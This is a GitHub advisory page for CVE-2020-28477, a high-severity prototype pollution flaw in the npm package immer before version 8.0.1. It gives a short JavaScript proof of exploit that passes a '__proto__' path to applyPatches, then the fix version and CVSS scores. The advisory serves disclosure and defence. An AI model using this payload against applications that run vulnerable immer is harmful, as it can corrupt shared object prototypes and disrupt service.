Skip to content

Prototype Pollution in immer

High severity GitHub Reviewed Published Jan 20, 2021 to the GitHub Advisory Database • Updated Sep 11, 2023

Package

npm immer (npm)

Affected versions

< 8.0.1

Patched versions

8.0.1

Description

Overview

Affected versions of immer are vulnerable to Prototype Pollution.

Proof of exploit

const {applyPatches, enablePatches} = require("immer");
enablePatches();
let obj = {};
console.log("Before : " + obj.polluted);
applyPatches({}, [ { op: 'add', path: [ "__proto__", "polluted" ], value: "yes" } ]);
// applyPatches({}, [ { op: 'replace', path: [ "__proto__", "polluted" ], value: "yes" } ]);
console.log("After : " + obj.polluted);

Remediation

Version 8.0.1 contains a fix for this vulnerability, updating is recommended.

References

Published by the National Vulnerability Database Jan 19, 2021
Reviewed Jan 20, 2021
Published to the GitHub Advisory Database Jan 20, 2021
Last updated Sep 11, 2023

Severity

High
7.5
/ 10

CVSS base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Weaknesses

CVE ID

CVE-2020-28477

GHSA ID

GHSA-9qmh-276g-x5pj

Source code

No known source code
Checking history
See something to contribute? Suggest improvements for this vulnerability.